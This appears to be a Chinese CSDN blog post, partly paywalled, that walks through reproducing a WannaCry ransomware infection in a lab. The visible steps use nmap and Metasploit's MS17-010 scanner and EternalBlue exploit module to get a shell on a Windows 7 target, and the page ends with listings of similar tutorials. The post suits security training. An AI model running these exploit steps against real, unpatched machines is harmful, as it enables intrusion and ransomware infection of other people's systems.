复现勒索病毒WannaCry过程

最新推荐文章于 2024-07-17 15:44:23 发布
最新推荐文章于 2024-07-17 15:44:23 发布
阅读量388 收藏 6
点赞数
分类专栏： 网络安全渗透 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mulincong/article/details/130837577
版权
本文详细介绍了如何通过nmap扫描靶机的445端口，发现ms17-010漏洞，利用ms17_010_eternablue模块获取shell权限，并最终上传并运行WannaCry.exe的过程。
摘要由CSDN通过智能技术生成

1、使用nmap扫描靶机开放端口，发现开放445端口

2、使用msf查看是否存在漏洞ms17-010

use auxiliary/scanner/smb/smb_ms17_010

设置参数RHOSTS(靶机IP地址)   set rhosts 靶机地址

run 

发现存在漏洞ms17-010

3、利用use exploit/windows/smb/ms17_010_eternablue

设置参数RHOSTS(靶机IP地址)   set rhosts 靶机地址

设置target    set target 1(win7选择1，可以使用show target 看自己对应的target)

运行 run，成功获取shell权限

最低0.47元/天 解锁文章
mulincong
关注
  • 0
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析（四）蠕虫传播机制全网源码详细解读
杨秀璋的专栏
05-05 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了逆向分析OllyDbg动态调试工具的基本用法，包括界面介绍、常用快捷键和TraceMe案例分析。这篇文章将继续详细讲解WannaCry蠕虫的传播机制，带领大家详细阅读源代码，分享WannaCry勒索病毒是如何传播感染的。作者分析该病毒一个月，一方面觉得自己技术菜，另一方面深知系统安全需要坚持，继续加油。希望文章对您有所帮助~
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析（二）MS17-010利用及病毒解析
杨秀璋的专栏
04-20 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了通过Python利用永恒之蓝漏洞加载WannaCry勒索病毒，并实现对Win7文件加密的过程，但过程较为复杂，为什么不直接利用永恒之蓝呢？所以，这篇文章将直接分享MSF利用MS17-010漏洞进行反弹Shell，再上传勒索病毒进行实验复现，并详细讲解WannaCry勒索病毒的原理。基础性文章，希望对您有所帮助。
EternalBlue【永恒之蓝】漏洞详解（复现、演示、远程、后门、入侵、防御）内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏！
m0_73734159的博客
12-26 5990
2017年永恒之蓝漏洞，编号为ms17漏洞。现在只有一些低版本的电脑没有打ms17_010的补丁，windows7 以上版本几乎都没有这个漏洞了。虽然如此，此漏洞非常经典，现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。让大家可以对网络安全更加重视，网络安全刻不容缓，让我们为国家网络安全的建设共同努力！
73.WannaCry勒索病毒复现及分析（四）蠕虫传播机制全网源码详细解读_网络_杨秀璋的专栏-CSDN博客1
08-03
声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。前文学习：[网络
Windows下永恒之蓝（MS17-010）漏洞的复现分析
qq_51331767的博客
01-11 1933
Windows下的MS17-010（永恒之蓝）的复现与分析
勒索病毒“WannaCry”之复现过程（永恒之蓝）
weixin_40950781的博客
08-09 6740
勒索病毒“WannaCry”复现（永恒之蓝）1.漏洞简述2.漏洞复现2.1复现环境2.3复现过程2.3.3 开始攻击3.结语4.防范 1.漏洞简述 “永恒之蓝”利用Windows系统的SMB漏洞获取系统的最高权限，该工具通过恶意代码扫描开放445端口的Windows系统；被扫描到的Windows系统，只要开机上线，不要要用户进行任何操作，即可通过共享漏洞上传wannacry勒索病毒，远程控制木马等...
kali2021和win7环境下勒索病毒复现
大大大鸡腿的博客
06-23 2520
勒索病毒 实验以kali作为攻击机，win7系统作为靶机，攻击时将win7防火墙关闭，不然会被拦截 首先查看靶机ip地址：192.168.231.130 攻击机ip地址：192.168.231.129 使用kali打开msf 然后我们搜索ms17模块 auxiliary渗透脚本测试，查看靶机是否存在永恒之蓝漏洞 注意：我这里使用的是msf6版本，如果想要使用哪个模块，直接输入模块编号就行，但如果是msf5，需要输入use 模块名 show options命令查看此模块需要的参数，发现有4个是必须的，
勒索病毒“WannaCry”复现
Lemon's blog
10-20 5118
漏洞简介 永恒之蓝利用Windows系统的SMB漏洞可以获取系统的最高权限，然后通过恶意代码扫描开放445端口的Windows系统；只要是被扫描到的Windows系统，只要开机上线，不需要用户进行任何操作，即可通过共享漏洞上传wannacry勒索病毒，远程控制木马等恶意程序。 漏洞复现 在复现过程中需要先做好防护，以免造成真机感染病毒，那就GG了 ...
勒索病毒防护解决方案及应急响应专题资料合集.zip
05-11
WannaCry勒索病毒复现及分析 蠕虫传播机制全网源码详细解读 Python利用永恒之蓝及Win7勒索加密 蠕虫传播机制分析及IDA和OD逆向 从Wanna Cry勒索病毒谈高校网络安全防御新思维 构建医院大数据安全分析与勒索病毒防御 ...
勒索病毒解密.txt
04-22
价值5999，vip免费阅读，可用于实战拟态，渗透测试学习，资源复现，红蓝对抗，攻防打点，漏洞复现，技术考证、权限维持，应急响应，Hvv实战
iou的计算及代码复现过程
07-18
iou的计算及代码复现过程
永恒之蓝复现kaliwin7
最新发布
07-19
永恒之蓝复现kaliwin7
永恒之蓝漏洞复现（包括常见问题处理）和修复方案
sinat_27757177的博客
10-17 4994
永恒之蓝漏洞复现（包括常见问题处理）和修复方案
永恒之蓝全过程复现
Zhaokangkang123的博客
02-09 6493
超详细永恒之蓝复现教程
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析（一）Python利用永恒之蓝及Win7勒索加密
杨秀璋的专栏
04-14 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了Vulnhub靶机渗透的DC-1题目，通过信息收集、CMS漏洞搜索、Drupal漏洞利用、Metasploit反弹shell、提权及数据库爆破获取flag。这篇文章将分享新知识，最近WannaRen勒索软件爆发（下图是安天的分析攻击流程），其名称和功能与WannaCry相似，所以接下来作者将连续分享WannaCry勒索病毒的复现及分析，希望这篇基础性文章对您有所帮助。
关于防范ONION勒索软件病毒攻击的解决办法
AIGC Studio：分享AIGC前沿知识和好玩应用，公众号同名。
05-13 3966
一夜之间，身边的好多同学的电脑都中病毒了，特别是许多正在写毕业论文的同学可真是坑大了，磁盘文件会被病毒加密为.onion后缀，只有支付高额赎金才能解密恢复文件，对学习资料和个人数据造成严重损失。根据网络安全机构通报，这是不法分子利用NSA黑客武器库泄漏的“永恒之蓝”发起的病毒攻击事件。“永恒之蓝”会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和
Wannacry勒索病毒分析
热门推荐
qq_31507523的博客
06-17 1万+
Wannacry病毒分析 在15pb刚毕业，准备找活了，之前有幸听过奇安信的招聘会，大佬说，永恒之蓝病毒现在还在某些地方流行着，是经典的勒索病毒。这让我觉得分析这个病毒是刷经验的好机会，所以就在决定分析一下这个在2017年的纵横江湖无敌手的勒索之王，由于是新手入坑，不对之处还请多多指教(●ˇ∀ˇ●) 分析平台：win7虚拟机 分析工具：OD、IDA 辅助工具：LordPE、PEID、010Edi...
[系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密
杨秀璋的专栏
02-27 1万+
作者前文介绍了逆向分析之OllyDbg动态调试工具，包括INT3断点、反调试、硬件断点和内存断点。这篇文章将分享新知识，最近WannaRen勒索软件爆发（下图是安天的分析攻击流程），其名称和功能与WannaCry相似，所以接下来作者将连续分享WannaCry勒索病毒的复现及分析，第一篇文章将采用Github资源实现永恒之蓝漏洞利用及Windows7系统文件加密。希望这系列文章对您有所帮助，漫漫长征路，偏向虎山行。享受过程，一起加油~
Evil-WinRM一键测试主机安全情况（KALI工具系列四十四）
LNN0212的博客
07-17 816
Kali Linux 是一个功能强大、多才多艺的 Linux 发行版 ，广泛用于网络安全社区。它具有全面的预安装工具和功能集，使其成为安全测试、数字取证、事件响应和恶意软件分析的有效平台。作为使用者，你可以把它理解为一个特殊的Linux 发行版 ，集成了精心挑选的渗透测试和安全审计的工具，供渗透测试和安全设计人员使用，也可称之为平台或者框架。注意，一定只能用于自己设备的连通性测试哦！
mmskeleton复现过程
07-23
要开始复现mmskeleton的过程，请按照以下步骤进行操作： 1. 确保你的系统已经安装了Python和pip。如果没有，请先安装它们。 2. 克隆mmskeleton的代码仓库。你可以在GitHub上找到mmskeleton的代码仓库，并使用以下...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值